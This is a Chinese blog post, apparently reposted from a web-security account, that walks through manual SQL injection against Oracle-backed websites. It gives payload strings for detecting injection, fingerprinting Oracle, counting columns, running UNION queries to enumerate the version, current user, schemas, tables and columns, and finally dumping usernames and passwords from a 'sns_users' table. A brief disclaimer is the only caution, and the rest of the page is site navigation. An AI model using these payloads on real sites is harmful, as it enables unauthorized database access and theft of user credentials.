网站首页 > 技术文章 正文
这个社会,最可悲的莫过于那些既不是学霸,也不全是学渣的人,他们听不懂课,作业不会做,不逃课,不捣乱纪律,为考试着急,却又无奈与现状,三分钟热度,又恨自己不争气,更是以最普遍的身份埋没在人群中,正过着最最煎熬的日子。。。。
---- 网易云热评
一、Oracle数据库
一般大型企业都会用到,物流、旅游、航空、银行等等。。。
1、支持多用户、大事务量的处理
2、数据安全性和完整性的有效控制
3、支持分布式数据处理
4、移植性强
二、手动注入
1、判断是否存在
and 1=1 返回正常
and 1=2 返回错误
2、判断是否是Oracle数据库
and exists(select * from dual)
and exists(select * from user_tables)
返回正常说明是oracle
3、判断数列
order by 2 返回正常,说明有两列
4、联合查询
union select null,null from dual,这里不能写1,2 需要用null替换,然后将每个null用数字和字符替换一下,发现数字就报错,字符不报错
union select 1,null from dual 报错
union select null,1 from dual 报错
union select 'null','null' from dual 返回如下界面,这时就可以用下面的查询语句了
5、获取数据库版本
(select banner from sys.v_$Version where rownum=1)
6、获取连接数据库的当前用户
(select SYS_CONTEXT('USERENV','CURRENT_USER')from dual)
7、获取数据库
(select instance_name from v$instance) 获取当前数据库
(select owner from all_tables where rownum=1)获取第一个数据库
(select owner from all_tables where rownum=1 and owner<>'SYS')获取第二个数据库
8、获取表名
(select table_name from user_tables where rownum=1 and table_name like '%users%') from dual
10、获取列名
(select column_name from user_tab_columns where table_name='sns_users' and rownum=1)
11、获取第二列名
(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name<>'USER_NAME')
12、获取字段内容
id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"
union select USER_NAME,USER_PWD from "sns_users" where USER_NAME<>'hu' 获取第二个用户信息
禁止非法,后果自负
欢迎关注公众号:web安全工具库
猜你喜欢
- 2025-07-27 低代码可能铲不掉“屎山”,但能让这个它更有「型」
- 2024-10-29 Oracle Linux 8.5上架微软Win11/10应用商店,免费下载
- 2024-10-29 ORACLE11G学习笔记2023-7-10数据库入门
- 2024-10-29 天塌了:Oracle或许要在2017年对Java SE收费
- 2024-10-29 Ask Oracle:狮子座6月10日运势 狮子座6月3日运势
- 2024-10-29 Oracle技巧之将数字转换为时分秒,函数
- 2024-10-29 DBA不可不知!Oracle Database 18c 的10大新特性一览
- 2024-10-29 Windows10安装Oracle 19C数据库详细教程
- 2024-10-29 10道Oracle运维常见面试题 oracle 运维内容
- 2024-10-29 10个SQL优化规则 sql优化常用的15种方法
你 发表评论:
欢迎- 634℃几个Oracle空值处理函数 oracle处理null值的函数
- 626℃Oracle分析函数之Lag和Lead()使用
- 614℃0497-如何将Kerberos的CDH6.1从Oracle JDK 1.8迁移至OpenJDK 1.8
- 609℃Oracle数据库的单、多行函数 oracle执行多个sql语句
- 606℃Oracle 12c PDB迁移(一) oracle迁移到oceanbase
- 600℃【数据统计分析】详解Oracle分组函数之CUBE
- 588℃最佳实践 | 提效 47 倍,制造业生产 Oracle 迁移替换
- 574℃Oracle有哪些常见的函数? oracle中常用的函数
- 最近发表
-
- CVE-2025-30762|Oracle(java oracle)
- 低代码可能铲不掉“屎山”,但能让这个它更有「型」
- 科技大事件:新苹果手表可通过击掌或握手来传递信息
- 你的百万级上下文窗口大模型,可能并没有你想象中那么强
- DApp 开发中的安全测试(软件测试过程中安全测试的具体应用场景和测试思路)
- 盘点Java中最没用的知识⑧:这3个过时套路,你还在代码里硬撑?
- 机房硬件设备及Oracle数据库软件维护服务项目竞争性磋商公告
- 微软与甲骨文扩大合作关系,推出Oracle Database@Azure
- JPA实体类注解,看这篇就全会了(java实体类注解)
- Java反射机制最全详解(图文全面总结)
- 标签列表
-
- 前端设计模式 (75)
- 前端性能优化 (51)
- 前端模板 (66)
- 前端跨域 (52)
- 前端缓存 (63)
- 前端aes加密 (58)
- 前端脚手架 (56)
- 前端md5加密 (54)
- 前端路由 (61)
- 前端数组 (73)
- 前端js面试题 (50)
- 前端定时器 (59)
- 前端获取当前时间 (50)
- Oracle RAC (76)
- oracle恢复 (77)
- oracle 删除表 (52)
- oracle 用户名 (80)
- oracle 工具 (55)
- oracle 内存 (55)
- oracle 导出表 (62)
- oracle约束 (54)
- oracle 中文 (51)
- oracle链接 (54)
- oracle的函数 (58)
- 前端调试 (52)
本文暂时没有评论,来添加一个吧(●'◡'●)